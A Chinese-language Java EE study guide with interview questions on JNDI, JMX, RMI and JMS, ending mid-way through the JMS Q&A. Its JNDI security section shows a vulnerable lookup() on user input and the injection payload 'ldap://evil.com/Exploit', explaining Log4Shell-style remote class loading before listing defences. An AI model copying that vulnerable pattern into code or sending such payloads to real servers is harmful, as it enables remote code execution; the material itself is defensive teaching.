JNDI 是 Java EE「容器接管资源」思想的实现手段:开发者不关心资源从哪来,只按约定的名字去容器里取。

最典型的场景是数据源。传统写法在 web.xml 里声明资源引用,再由容器(Tomcat)绑定实际实现:

xml
<!-- 应用声明「我要用这个名字的资源」 -->
<resource-ref>
  <res-ref-name>jdbc/UserDS</res-ref-name>
  <res-type>javax.sql.DataSource</res-type>
  <res-auth>Container</res-auth>
</resource-ref>
xml
<!-- Tomcat context.xml:容器决定这个名字指向哪个真实数据源 -->
<Context>
  <Resource name="jdbc/UserDS" auth="Container"
            type="javax.sql.DataSource"
            driverClassName="com.mysql.cj.jdbc.Driver"
            url="jdbc:mysql://127.0.0.1:3306/demo"
            username="root" password="secret"
            maxTotal="20" maxIdle="10" />
</Context>
java
// 代码只认这个名字,换数据库/换机器都不用改
Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/UserDS");
try (Connection conn = ds.getConnection()) { /* ... */ }

java:comp/env/ 是应用私有命名空间,只能访问本应用声明的资源,是推荐写法。直接用 java:comp/env 之外的名字(如裸的 jdbc/UserDS)会走全局命名空间,容易与其他应用冲突,也不利于权限隔离。

由此得到的直接收益:连接池与线程池由容器统一管理,应用不需要自己维护池化参数;环境差异(开发/测试/生产)体现在容器的配置里,与代码隔离;测试时可以用简单实现替换数据源,而不改动业务代码。

其他用途:

  • EJB 查找:远程 EJB 通过 JNDI 名字定位(java:global/... 或 java:comp/env/ejb/...)。
  • JMS 资源:连接工厂与队列/主题的绑定同样走 JNDI。
  • JMX 与配置:部分容器用 JNDI 暴露管理对象。

Spring 之后这些场景大多被 @Resource、@Autowired、spring.datasource.* 取代——但底层仍是同一套思想,只是名字解析从容器换成了 Spring 容器以及配置中心。

安全问题:JNDI 注入 ​

JNDI 注入的本质是:lookup() 的参数如果来自用户输入,攻击者就能指定协议与目标地址,让服务端去连接自己控制的服务器。

java
// 危险写法:名字完全来自用户输入
String name = request.getParameter("name");
Object obj = new InitialContext().lookup(name);

攻击者传入 ldap://evil.com/Exploit 时,受害服务器会:

  1. 按 scheme 选择 LDAP 的 SPI,主动连接 evil.com:389。
  2. 取回一条属性中带有 javaCodeBase / javaFactory 的条目。
  3. 依据这些属性下载并实例化远端类,从而执行任意代码。

Log4j2 的 CVE-2021-44228 之所以能打到「看一眼日志就中招」,是因为它的 lookup 功能把日志内容(可能来自用户输入)当成了 JNDI 名字。教训不在于 JNDI 本身有错,而在于把不可信输入当作名字去解析这一模式天然危险。理解这条链路比背诵漏洞编号更有价值。

防护措施按优先级:

  • 不要用不可信输入做 lookup。业务上能用白名单枚举,就绝不动态拼接。
  • 升级 JDK:较新版本默认关闭了远程类加载(com.sun.jndi.ldap.object.trustURLCodebase 等默认 false),可以显著降低危害,但不能替代输入校验。
  • 限制出网:服务端出站流量做白名单,即使注入成功也无法连回攻击者。
  • 关闭/限制 JNDI 能力:应用若完全不用 JNDI,直接禁用相关类加载与远程协议。
  • 日志组件保持最新,并关闭消息中的 lookup 解析(Log4j 2.x 的 %msg{nolookups} 配置)。

面试问答 ​

JNDI 是什么,为什么需要它? ​

JNDI 是 Java 的命名与目录服务接口,把资源的位置与代码解耦:代码只使用逻辑名字,由容器或配置决定该名字实际指向哪个资源。好处是环境差异(开发/测试/生产)集中在配置侧,换数据源或迁移机器不需要改代码,同时资源池化(连接池)可以交给容器统一管理。

JNDI 和 JDBC 是什么关系? ​

JDBC 负责「怎么连数据库」,JNDI 负责「数据库配置从哪来」。典型用法是通过 JNDI 查找一个 DataSource(java:comp/env/jdbc/xxx),拿到后再用 JDBC 或 ORM 框架访问数据库。两者是先后关系而非替代关系:JNDI 拿到连接池,JDBC 从池里取连接。

命名服务和目录服务的区别? ​

命名服务只做「名字 → 对象」的映射(如 DNS);目录服务在对象之外还维护属性,因此支持按属性检索(如 LDAP 可按 cn、mail 搜索条目)。JNDI 中 Context 对应命名操作,DirContext 在它之上增加属性读写与 search()。

JNDI 注入的原理是什么?怎么防? ​

InitialContext.lookup() 的参数可控时,攻击者可以传入带任意 scheme 的名字(如 ldap://、rmi://),让服务端连接攻击者服务器并按远端指示加载类,从而执行任意代码。防护的核心是不把不可信输入当作 JNDI 名字,配合升级 JDK(默认禁止远程代码库)、限制服务端出站流量、以及禁用不需要的 JNDI 远程协议。

现在还用 JNDI 吗? ​

直接用得少了:数据源绑定、EJB 查找这些场景已被 Spring 的依赖注入与配置中心取代。但 JNDI 的思想仍在——「用逻辑名字查找资源」今天体现为 @Value("${xxx}")、配置中心的 dataId、Kubernetes 的 Service 名。存量 Java EE / Spring Boot 传统部署的项目里,java:comp/env 形式的查找依然常见。

JMX ​

JMX(Java Management Extensions)是 Java 的管理与监控规范:把程序内部的状态和操作暴露成标准接口,让外部工具能读取和调用。我们天天用的 JConsole、VisualVM、jstat 能看到的堆内存、线程数、GC 次数,本质上都是 JMX 暴露出来的 MBean 属性。它是 Java 里「可观测性」的最底层机制。

要解决什么问题 ​

一个运行中的 JVM 对外是个黑盒:堆用了多少、线程池队列积压多少、某个业务开关是开还是关。JMX 提供的答案是统一协议化的「管理接口」:

  • 对 JVM:JVM 自身通过 JMX 暴露内存、GC、线程、类加载等 MXBean。
  • 对应用:开发者自定义 MBean,把业务指标与运维开关暴露出来。
  • 对中间件:Tomcat、Kafka、RocketMQ 等均通过 JMX 暴露内部状态,这也是各类监控系统能采集它们指标的原因。

JMX 与日志、指标(Metrics)是同一目标的三条路径:日志记录离散事件,指标做数值聚合,JMX 提供可查询、可调用的运行时对象——它不仅能「读」,还能「写」(比如动态调整日志级别、清空缓存、触发一次 GC)。这是它区别于纯指标上报的地方。

三层架构 ​

JMX 规范把管理能力分成三层,理解这三层就理解了 JMX 的全貌:

层次名称职责
第一层Instrumentation(探测层)定义 MBean,即「能被管理的对象」
第二层Agent(代理层)由 MBeanServer 注册与调度 MBean,是核心
第三层Distributed(分布层)让远程客户端访问 Agent(RMI、JMXMP 等)
text
远程客户端(JConsole)  ──RMI/JMXMP──▶  Distributed 层
                                          │
                                          ▼
                                  MBeanServer(Agent)     ← 所有 MBean 都注册在这里
                                          │
                       ┌──────────────────┼──────────────────┐
                       ▼                  ▼                  ▼
                  自定义 MBean        JVM MXBean        Tomcat/Kafka MBean

MBean 的四种类型 ​

MBean 是「可被管理的 Java 对象」,按实现方式分四类:

类型约定需实现接口用途
Standard类 Xxx 配接口 XxxMBean,属性由 getter/setter 推导需最常用
MXBean类 Xxx 配接口 XxxMXBean,复杂类型自动映射为开放类型需跨版本兼容推荐
Dynamic实现 DynamicMBean,运行时决定暴露什么需动态发现
Open只使用预定义的开放类型—保证可跨网络传输

四类的完整名称依次是 Standard MBean、MXBean、Dynamic MBean、Open MBean。

Standard MBean 的命名约定不是可选风格而是规范要求:类 Foo 必须实现接口 FooMBean,MBeanServer 靠这个命名规则识别它是 MBean。推荐优先用 MXBean——它把自定义类型自动映射为通用类型,不会因为客户端缺少你的类而失败。

一个完整的例子 ​

第一步:定义接口,命名必须是 类名MBean:

java
public interface QueueMonitorMBean {
    int getQueueSize();                    // 只读属性
    long getProcessedCount();
    String getState();                     // 只读属性
    void clear();                          // 操作(方法)
    void setThreshold(int threshold);      // 可写属性(setter)
}

第二步:实现类,类名与接口前缀一致(QueueMonitor / QueueMonitorMBean):

java
public class QueueMonitor implements QueueMonitorMBean {

    private final AtomicInteger queueSize = new AtomicInteger();
    private final AtomicLong processed = new AtomicLong();
    private volatile int threshold = 1000;

    @Override public int getQueueSize() { return queueSize.get(); }
    @Override public long getProcessedCount() { return processed.get(); }
    @Override public String getState() { return queueSize.get() > threshold ? "BACKLOG" : "NORMAL"; }
    @Override public void clear() { queueSize.set(0); }
    @Override public void setThreshold(int t) { this.threshold = t; }

    // 业务代码调用这两个方法维护内部状态
    public void onEnqueue() { queueSize.incrementAndGet(); }
    public void onProcessed() { queueSize.decrementAndGet(); processed.incrementAndGet(); }
}

第三步:注册到 MBeanServer,并启动一个 RMI 连接器供远程访问:

java
public class JmxExporter {
    public static void main(String[] args) throws Exception {
        MBeanServer server = ManagementFactory.getPlatformMBeanServer();

        // ObjectName 是 MBean 在 MBeanServer 中的唯一标识:domain:key=value
        ObjectName name = new ObjectName("com.example:type=QueueMonitor,name=orderQueue");
        server.registerMBean(new QueueMonitor(), name);

        // 开放 RMI 连接器(端口固定,便于监控系统连接)
        LocateRegistry.createRegistry(9999);
        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi");
        JMXConnectorServer connector = JMXConnectorServerFactory.newJMXConnectorServer(url, null, server);
        connector.start();

        System.out.println("JMX ready: " + url);
        Thread.sleep(Long.MAX_VALUE);
    }
}

第四步:本地或远程读取:

java
// 本地直接拿平台 MBeanServer
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
int size = (int) server.getAttribute(
        new ObjectName("com.example:type=QueueMonitor,name=orderQueue"), "QueueSize");
System.out.println("queue size = " + size);

// 远程通过 RMI 连接
JMXConnector connector = JMXConnectorFactory.connect(
        new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi"));
MBeanServerConnection remote = connector.getMBeanServerConnection();
remote.invoke(new ObjectName("com.example:type=QueueMonitor,name=orderQueue"), "clear", null, null);

ObjectName 与查询 ​

ObjectName 采用 域名:属性=值,属性=值 的格式,支持通配符查询:

java
ObjectName name = new ObjectName("com.example:type=QueueMonitor,name=orderQueue");

// 按模式查询一批 MBean
Set<ObjectName> all = server.queryNames(new ObjectName("com.example:type=*"), null);
Set<ObjectName> memory = server.queryNames(new ObjectName("java.lang:type=Memory"), null);

JVM 自带的 MBean 都在 java.lang 域名下(下表省略该前缀),这是排查问题的常用入口:

ObjectName能读到什么
type=Memory堆/非堆使用量、GC 后的回收量
type=MemoryPool各内存区(Eden、Old、Metaspace,按 name 区分)
type=GarbageCollectorGC 次数与耗时(按 name 区分收集器)
type=Threading线程数、死锁检测
type=ClassLoading已加载类数量
type=OperatingSystemCPU、负载、文件描述符
java
// 顺手做一个死锁检测,比翻日志快得多
ObjectName threading = new ObjectName("java.lang:type=Threading");
long[] deadlocked = (long[]) server.invoke(threading, "findDeadlockedThreads", null, null);
System.out.println(deadlocked == null ? "no deadlock" : "deadlocked threads: " + deadlocked.length);

Memory 这类 JVM 自带的 MBean 实际上都是 MXBean(名字里的 X 表示 eXtended),所以像 MemoryUsage 这种复合类型在 JConsole 里能正常展开显示,而不需要客户端有对应的类。

客户端工具 ​

工具特点
JConsoleJDK 自带,jconsole 启动,图形化查看 MBean 树
VisualVM功能更全,可装插件扩展,支持采样与堆转储
JMXTerm命令行交互,适合无图形界面的服务器
Prometheus JMX Exporter把 MBean 转成 Prometheus 指标,接入监控体系

Prometheus 的 JMX Exporter 是最常见的生产用法:以 Java Agent 方式挂载或独立进程连接,把指定 MBean 的属性按规则映射成指标。

yaml
# jmx_exporter 配置:把队列长度暴露成 Prometheus 指标
rules:
  - pattern: 'com\.example<type=QueueMonitor, name=orderQueue><>(\w+)'
    name: order_queue_$1
    type: GAUGE
    labels:
      queue: order

JMX 连接器默认没有认证与加密,任何能连上端口的人都能读取内部状态、调用 MBean 上的任意方法(包括 clear() 这类破坏性操作)。生产环境必须:不对外暴露端口、启用认证与 SSL(jmxremote.password / jmxremote.access)、或用只读的 exporter 代理访问。

与 Spring 的集成 ​

Spring 对 JMX 提供了完整支持,可以把任意 Bean 声明式地暴露为 MBean,无需手写接口:

java
@Component
@ManagedResource(objectName = "com.example:type=OrderStats", description = "订单统计")
public class OrderStats {

    private final AtomicLong total = new AtomicLong();

    @ManagedAttribute(description = "累计订单数")
    public long getTotal() { return total.get(); }

    @ManagedOperation(description = "重置计数")
    public void reset() { total.set(0); }
}

为什么需要它 ​

回到实用角度,JMX 在工程中的三个具体价值:

  • 运行时诊断:堆内存、GC、线程与死锁状态都是现成的 MBean,排查线上问题不必先加埋点。
  • 动态调参:日志级别、限流阈值、开关状态可以通过 MBean 的 setter 或操作在运行时修改,不必重启(Logback 的 JMXConfigurator 就是典型实现)。
  • 标准化的监控接入:中间件普遍已暴露 JMX,监控系统只需一套采集方式就能覆盖 JVM、Tomcat、Kafka,不需要为每个组件写适配。

JMX 在可观测性中的定位可以这样概括:Metrics 告诉你「出问题了」,日志告诉你「细节是什么」,JMX 让你能「现场动手」。三者互补,而 JMX 的独特之处是可写、可调用。

面试问答 ​

JMX 是什么,有什么用? ​

JMX 是 Java 的管理与监控规范,把程序内部状态与操作暴露成标准接口(MBean),外部工具通过 MBeanServer 读写。三大用途:读取 JVM 与中间件的运行时指标(堆、GC、线程、连接池);在运行期动态调整参数或执行管理操作;作为统一的监控接入点,让监控系统用一套方式采集不同组件的指标。

JMX 有四层还是三层?分别是什么? ​

三层:Instrumentation(探测层,定义 MBean)、Agent(代理层,MBeanServer 负责注册与调度,是核心)、Distributed(分布层,通过 RMI/JMXMP 让远程客户端访问)。有时会把「客户端」也算作一层,但规范里是三层。

Standard MBean 和 MXBean 的区别? ​

两者都需要「类 Xxx + 接口 XxxMBean/XxxMXBean」的命名约定。区别在于 MXBean 会把自定义类型自动映射为通用开放类型,所以客户端不需要拥有你的类定义就能正确解析——JVM 自带的 Memory、Threading 都是 MXBean。跨 JVM 版本或需要远程访问时优先用 MXBean。

JMX 和 JConsole/VisualVM 是什么关系? ​

JConsole、VisualVM 是 JMX 的客户端。它们连接目标 JVM 的 MBeanServer,以树形展示 MBean,并在属性页提供读写与操作调用。所以「JConsole 里能看到什么」取决于目标 JVM 注册了哪些 MBean——本地连接看到的是平台 MBeanServer 全部内容,远程连接则受连接器开放范围与权限限制。

如何用 JMX 排查线上问题? ​

典型路径:连上目标 JVM 的 MBeanServer,先看 java.lang:type=Memory 与各 MemoryPool 判断是否内存问题,再看 GarbageCollector 的 GC 次数与耗时判断是否频繁 Full GC,然后调 Threading.findDeadlockedThreads() 一步确认有没有死锁。这套顺序比在日志里翻找快得多,而且不需要事先埋点。

JMX 有哪些安全风险? ​

连接器默认无认证与加密,任何能访问端口的人都能读取内部数据并调用 MBean 上的方法(包括清理缓存、关闭组件等破坏性操作)。此外历史上 JMX 连接器在 RMI 之上实现,也会受反序列化问题影响。防护措施是不对外暴露端口、启用认证与 SSL、尽量通过只读的 JMX Exporter 代理访问而非直接开放连接器。

RMI ​

RMI(Remote Method Invocation)是 Java 原生的远程调用方案:让调用远程对象的方法,写起来和调用本地对象一样。它是 Java 分布式最早的基石——EJB 的远程调用底层就是 RMI。理解它的价值不在今天还在用,而在于「存根 + 序列化 + 传输协议」这套结构,是后来所有 RPC 框架的共同骨架。

解决什么问题 ​

本地方法调用时,调用方与被调方在同一个 JVM 里,参数通过栈传递。RMI 要跨越进程与网络,就必须解决三件事:

  1. 地址问题:调用方怎么知道远程对象在哪 → 注册表(Registry)。
  2. 寻址问题:怎么让调用看起来像本地调用 → 代理对象(Stub)。
  3. 数据问题:参数和返回值怎么过网络 → 序列化(Serialization)。

核心角色 ​

text
调用方 JVM                                  服务方 JVM
┌──────────┐   ┌──────┐   ┌─────────┐   ┌──────────┐   ┌────────────┐
│ 客户端   │ → │ Stub │ → │  网络   │ → │ Skeleton │ → │ 真正的实现 │
│ 代码     │   │ 存根 │   │  JRMP   │   │ (骨架) │   │ 对象       │
└──────────┘   └──────┘   └─────────┘   └──────────┘   └────────────┘
                  代理                      转发
  • Stub(存根):运行在客户端,长得和远程接口一模一样。它把「方法名 + 参数」打包成消息发给服务端,再把回包解包成返回值。对调用方来说,它就是那个「远程对象」。
  • Skeleton(骨架):运行在服务端,接收网络消息、解包、调用真正的实现对象、再把结果打包回去。JDK 5 之后由动态代理取代,不再需要手工生成(也不再需要 rmic 工具)。
  • Registry(注册表):名字服务,默认监听 1099 端口,保存「名字 → 远程对象引用」的映射。
  • JRMP(Java Remote Method Protocol):RMI 自有的传输协议,建立在 TCP 之上;也可以换用 IIOP 与其他语言互通(RMI-IIOP)。

一个完整的例子 ​

第一步:定义远程接口,必须继承 Remote,且每个方法都要声明 RemoteException:

java
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloService extends Remote {
    String sayHello(String name) throws RemoteException;
    User findUser(long id) throws RemoteException;
}

第二步:实现接口,继承 UnicastRemoteObject 把自身导出为远程对象:

java
import java.rmi.server.UnicastRemoteObject;

public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {

    protected HelloServiceImpl() throws RemoteException {
        super();   // 相当于「导出」:分配端口、注册到 RMI 运行时
    }

    @Override
    public String sayHello(String name) {
        return "hello " + name;
    }

    @Override
    public User findUser(long id) {
        return new User(id, "jy");   // User 必须可序列化
    }
}

第三步:启动注册表并绑定对象:

java
public static void main(String[] args) throws Exception {
    LocateRegistry.createRegistry(1099);          // 启动注册表(也可用 rmiregistry 命令)
    Naming.rebind("rmi://127.0.0.1:1099/Hello", new HelloServiceImpl());
    System.out.println("RMI server ready");
}

第四步:客户端查找并调用:

java
public static void main(String[] args) throws Exception {
    HelloService service = (HelloService) Naming.lookup("rmi://127.0.0.1:1099/Hello");
    System.out.println(service.sayHello("jy"));   // 看起来像本地调用
    System.out.println(service.findUser(1L).getName());
}

客户端拿到的是 HelloService 类型但实际是 Stub 实例(JDK 5+ 由 java.lang.reflect.Proxy 动态生成)。所以客户端必须能拿到接口(单独打成 API jar),而不需要实现类——这是「接口与实现分离」在 RPC 上的最早体现。

序列化要求 ​

RMI 的所有参数与返回值都要在网络上传输,因此都必须实现 java.io.Serializable。这带来几条常被忽略的约束:

  • 字符串、基本类型包装类、集合天然可序列化。
  • 自定义类必须 implements Serializable,并建议显式声明 serialVersionUID。
  • 不可序列化的字段要标 transient(如 Connection、Thread),否则会抛 NotSerializableException。
  • 序列化是深拷贝:对象在网络上是一份副本,服务端对参数的修改不会影响客户端。这与本地调用「传引用」的语义不同,是认知偏差最大的地方。
java
public class User implements Serializable {
    private static final long serialVersionUID = 1L;   // 显式声明,避免兼容性断裂
    private long id;
    private String name;
    private transient String cached;                   // 不参与序列化
}

serialVersionUID 不是可选项:不显式声明时,JVM 会根据类的结构(字段、方法签名)自动生成一个哈希值。任何一次「加个字段、改个方法」都会让新旧版本的 UID 不一致,跨版本反序列化直接抛 InvalidClassException。分布式环境下客户端与服务端发布不同步,就会踩到这个坑。

RMI 与其他远程调用 ​

维度RMIWeb ServicegRPC
抽象层次方法调用(像本地)HTTP + XML/JSON方法调用 + IDL
跨语言不支持(仅 Java)支持支持
传输JRMP(TCP)HTTPHTTP/2 或私有协议
序列化Java 原生XML / JSONProtobuf
服务治理无无负载均衡、熔断、注册中心

表里的 gRPC 一列同样适用于 Dubbo(支持跨语言、二进制序列化、完整的服务治理)。更底层的 Socket 没有方法调用级的抽象,属于字节流编程,不在同一比较维度上。

由此也能看出 RMI 的局限,正是它被取代的原因:

  • 只支持 Java,异构系统无法互通。
  • Java 原生序列化脆弱且危险:反序列化链是大量远程代码执行漏洞的来源;同时序列化体积大、性能一般。
  • 缺乏服务治理:没有负载均衡、注册中心、超时重试、熔断降级——这些是 Dubbo 相对 RMI 的核心增量。
  • 对防火墙不友好:除注册表端口外还会动态分配端口,需要固定端口配置(-Djava.rmi.server.hostname 与固定 export 端口)。

RMI 默认监听 1099 且常常缺少认证与访问控制,历史上被大量用于攻击 Java 应用(如通过反序列化在服务端执行代码)。运维层面最基本的要求是:RMI 端口绝不暴露到公网,并在服务端设置 java.rmi.server.useCodebaseOnly=true 禁止从远端加载类。

与 JNDI、EJB 的关系 ​

三者常一起出现,边界其实很清楚:

  • RMI 提供「远程方法调用」这一能力。
  • JNDI 提供「按名字找对象」的入口。RMI 的对象通过 JNDI(或 RMI Registry)暴露名字,客户端用 Naming.lookup("rmi://...") 来定位。所以 JNDI 是「怎么找」,RMI 是「找到之后怎么调」。
  • EJB 的远程接口基于 RMI:容器为 Session Bean 生成 Stub,客户端通过 JNDI 拿到它再调用。
text
客户端 → JNDI 查找(名字解析) → 拿到 RMI Stub → 通过 JRMP 调用 → EJB 容器内的实现

面试问答 ​

RMI 的调用原理是什么? ​

客户端持有 Stub(远程对象的代理),调用方法时 Stub 把方法名与参数序列化后通过 JRMP 协议发到服务端;服务端的 Skeleton 反序列化、调用真正的实现对象,再把返回值序列化回传,由 Stub 解包返回给调用方。整个过程的目的是让远程调用在代码上等同于本地调用。

RMI 与 RPC 有什么区别? ​

RPC 是「远程过程调用」的通用概念,RMI 是它在 Java 上的具体实现之一。可以理解为:RPC 是抽象,RMI 是 Java 原生的落地形式;Dubbo、gRPC 也是 RPC,但支持跨语言、体积更小、并带有服务治理能力。所以「RMI 与 RPC」不是并列关系,而是「实现与概念」的关系。

RMI 为什么现在很少用? ​

三个硬伤:只支持 Java 语言(无法与其他技术栈互通);依赖 Java 原生序列化(体积大、性能一般,且反序列化漏洞风险高);没有任何服务治理能力(负载均衡、超时、重试、熔断都要自己实现)。工程上已被 Dubbo、gRPC、HTTP+JSON 取代,RMI 更多作为理解 RPC 原理的教学素材存在。

什么情况下不能使用 RMI? ​

参数或返回值不可序列化时(如包含 Connection、线程、流对象);需要跨语言调用时;需要跨公网或穿透防火墙时(RMI 的动态端口分配与 JRMP 协议都不友好);需要细粒度的超时、重试与熔断控制时。

RMI 和序列化是什么关系? ​

RMI 依赖 Java 原生序列化完成数据编解码,因此所有跨网络传输的对象都必须是可序列化的(Serializable),这也是 NotSerializableException 的常见来源。反过来说,正因为使用了原生序列化,RMI 才会成为反序列化攻击的常见入口——序列化机制本身「根据字节流还原对象」的能力,就是攻击者可以利用的构造入口。

JMS ​

JMS(Java Message Service)是 Java EE 面向消息中间件的访问规范。它定义的是「应用怎么收发消息」的接口,而不是消息中间件本身——真正投递消息的是 ActiveMQ、RocketMQ 这类 Broker。理解 JMS 的价值在于:今天用的 RocketMQ、Kafka,消息模型、确认机制、事务语义几乎都能在 JMS 里找到原型。

要解决什么问题 ​

同步调用(RPC)在服务之间建立的是强耦合:调用方必须等被调方返回,被调方挂掉调用方就失败。消息中间件把它改成异步:

维度同步调用基于消息
耦合调用方需知道被调方地址只依赖消息目的地
可用性被调方故障即失败消息暂存,恢复后继续处理
流量削峰无法缓冲队列天然缓冲
调用结果立即返回异步,需回执机制

代价是:系统变复杂,需要处理重复消费、消息丢失、顺序性问题。

两种消息模型 ​

JMS 规范定义了两种模型,这是最核心的概念区分:

维度点对点 P2P (Queue)发布订阅 Pub/Sub (Topic)
目的地Queue(队列)Topic(主题)
消费关系一条消息只被一个消费者消费一条消息被所有订阅者消费
广播能力无有
典型场景任务分发、削峰事件通知、缓存刷新
是否持久队列持久化,离线消费者上线后仍可消费默认不持久,订阅者不在线就错过

对应到工程实践,就是「做任务」用队列,「做通知」用主题。

Pub/Sub 的「错过就没了」在生产里通常不可接受,所以 JMS 提供了持久订阅(Durable Subscription):订阅者离线期间,Broker 会代为保存消息,重新上线后补投。代价是 Broker 需要为每个持久订阅者维护消息存储。

核心 API ​

JMS 的编程模型有一条固定链路,记顺序即可:

text
ConnectionFactory → Connection → Session → { Destination + Producer / Consumer } → Message
java
// 1. 连接工厂:通常从 JNDI 获取,或由框架注入
ConnectionFactory factory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");

// 2. 连接:与 Broker 之间的物理连接,重量级,应复用
try (Connection connection = factory.createConnection()) {
    connection.start();

    // 3. 会话:发送/接收消息的上下文,非线程安全
    //    参数一:是否启用事务;参数二:确认模式
    Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);

    // 4. 目的地
    Queue queue = session.createQueue("order.created");
    // Topic topic = session.createTopic("cache.refresh");   // Pub/Sub 换这个

    // 5. 生产者发送
    MessageProducer producer = session.createProducer(queue);
    producer.setDeliveryMode(DeliveryMode.PERSISTENT);
    producer.send(session.createTextMessage("order-1001"));

    // 6. 消费者接收
    MessageConsumer consumer = session.createConsumer(queue);
    consumer.setMessageListener(message -> {
        TextMessage text = (TextMessage) message;
        try {
            System.out.println("收到: " + text.getText());
        } catch (JMSException e) {
            throw new RuntimeException(e);
        }
    });

    // 保持进程存活以便接收(异步监听模式下必须有)
    Thread.sleep(5_000);
}

Session 不是线程安全的。多线程共用一个 Session 并发发送会导致消息错乱或抛异常,正确做法是每个线程各自创建 Session(连接 Connection 是线程安全的,可以共享)。这是 JMS 使用中最常见的一类线上问题。

消息类型 ​

JMS 规范固定了五种消息体,前四种最常用:

类型内容典型场景
TextMessage字符串JSON 报文(最常用)
MapMessage键值对(键为 String,值可为基本类型)结构化字段
BytesMessage字节流文件、二进制
ObjectMessage可序列化对象不推荐,反序列化风险
StreamMessage基本类型流少见

除了消息体,消息还可以带属性(Properties),供消费者做选择器过滤:

java
Message msg = session.createTextMessage(json);
msg.setStringProperty("region", "cn-hangzhou");
msg.setIntProperty("retry", 0);
producer.send(msg);

// 消费者只接收特定属性的消息
MessageConsumer consumer = session.createConsumer(queue, "region = 'cn-hangzhou' AND retry < 3");

ObjectMessage 依赖 Java 原生反序列化,接收方会反序列化不可信数据,历史上多次成为远程代码执行漏洞的入口(与 RMI 同源)。除非完全可控的内部系统,否则统一用 TextMessage 传 JSON 是更安全的约定。

确认机制 ​

消费者何时告诉 Broker「这条消息我处理完了」,直接决定消息会不会丢、会不会重复。JMS 定义了三种模式(createSession 的第二个参数):

模式确认时机风险适用性
AUTO_ACKNOWLEDGE消息交给消费者后自动确认可能丢失(处理失败时已确认)允许少量丢失
CLIENT_ACKNOWLEDGE业务处理成功后显式确认可能重复(确认前崩溃)推荐
DUPS_OK_ACKNOWLEDGE批量延迟确认允许重复能容忍重复的场景
java
Session session = connection.createSession(false, Session.CLIENT_ACKNOWLEDGE);
MessageConsumer consumer = session.createConsumer(queue);
Message message = consumer.receive();
try {
    handle(message);                 // 先处理业务
    message.acknowledge();           // 处理成功后再确认
} catch (Exception e) {
    // 不确认 → 消息会在会话关闭或超时后重新投递
    log.error("处理失败,等待重投", e);
}

由此推出消息系统的根本矛盾:「至少一次」与「至多一次」只能选一个,绝大多数实现选择「至少一次」,因此消费端必须具备幂等能力——用业务唯一键(订单号、消息 ID)做去重,而不是期待消息只来一次。

确认模式的差异可以这样理解:AUTO_ACKNOWLEDGE 是「发出去就算收到」,CLIENT_ACKNOWLEDGE 是「我明确说收到了才算收到」。后者把确认时机交给业务代码,因此在处理成功后确认才能真正避免消息丢失。

事务性会话 ​

createSession(true, ...) 创建一个事务性会话:消息的发送与确认进入同一个事务,直到 commit() 才生效。

java
Session session = connection.createSession(true, Session.SESSION_TRANSACTED);
try {
    producer.send(session.createTextMessage("a"));
    producer.send(session.createTextMessage("b"));
    session.commit();          // 两条消息原子投递,要么都发出,要么都不发
} catch (Exception e) {
    session.rollback();        // 回滚:已发送的消息被撤销
}

会话事务只保证「消息收发这一侧」的原子性,不跨越数据库。真正的「数据库写入 + 消息发送」一致性是分布式事务问题,工程上的常见做法是:

  • 本地消息表:业务操作与「待发消息」写入同一个数据库事务,再由定时任务或 CDC 投递。
  • 事务消息:RocketMQ 等的两阶段提交(半消息 → 本地事务 → 提交/回滚),本质是把 JMS 的会话事务扩展成跨系统协议。
  • 最大努力通知:允许最终不一致,用对账兜底。

消息的可靠性属性 ​

MessageProducer 上有三个属性,决定了消息的「重量」:

java
producer.setDeliveryMode(DeliveryMode.PERSISTENT);   // 持久化:Broker 宕机不丢
producer.setPriority(9);                             // 0~9,越大越优先(需 Broker 支持)
producer.setTimeToLive(60_000);                      // 过期时间,超时进死信队列
  • 持久化 vs 非持久化:非持久化消息只存内存,Broker 重启即丢,但吞吐更高。资金、订单类必须持久化。
  • 优先级:多数 Broker 只是有限支持,不能作为业务逻辑的依赖。
  • 过期与死信:超过 timeToLive 或重试次数上限的消息进入死信队列(DLQ),需要专门的监控与人工/自动补偿流程——没有死信处理方案就等于消息会静默丢失。

JMS 与主流中间件 ​

JMS 是规范,各中间件的对应关系是理解选型的关键:

中间件是否遵循 JMS模型特点
ActiveMQ是(1.1 完整实现)Queue / Topic老牌、规范兼容好,性能一般
RabbitMQ否(遵循 AMQP)更灵活的 Exchange 路由可靠、路由能力强
RocketMQ否(兼容部分 JMS 语义)主题 + 队列高吞吐、支持事务消息
Kafka否分区日志(发布订阅)极高吞吐,适合流式与日志

虽然多数新中间件不严格实现 JMS 接口,但概念是通的:JMS 的 Queue ≈ RocketMQ 的队列(同一消费组内竞争消费),Topic ≈ RocketMQ 的主题 / Kafka 的 topic(不同消费组各自消费全量)。先掌握 JMS 的模型,再看具体中间件,认知成本会低得多。

Spring 里这些细节被进一步封装:

java
@Component
public class OrderNotifier {
    @Autowired
    private JmsTemplate jmsTemplate;        // 或 RocketMQTemplate / KafkaTemplate

    public void send(Order order) {
        jmsTemplate.convertAndSend("order.created", order);
    }

    @JmsListener(destination = "order.created")
    public void onMessage(Order order) {
        // 收到消息;确认与重试由监听容器按配置处理
    }
}

顺序与重复 ​

两个逃不掉的问题,也是面试常问:

  • 顺序性:队列本身是 FIFO,但一旦有多个消费者并发消费,顺序就无法保证。要做到局部有序,需要按业务键(如订单号)哈希到同一个队列,且该队列同一时刻只有一个消费者在工作。全局有序代价极高,通常不需要。
  • 重复消费:由「至少一次」投递语义决定,属于正常现象而非故障。解决方案是幂等——唯一索引约束、去重表、状态机判断(只允许从「待支付」流转到「已支付」),而不是试图让 Broker 保证不重复。

面试问答 ​

JMS 的两种消息模型有什么区别? ​

点对点(Queue)中一条消息只由队列上的一个消费者消费,消费者之间是竞争关系,适合任务分发与削峰;发布订阅(Topic)中一条消息会投递给所有订阅者,适合事件通知。前者天然持久(离线消费者上线后能消费积压消息),后者默认不持久,需要持久订阅才能保证离线期间不丢消息。

JMS 的确认模式有哪几种? ​

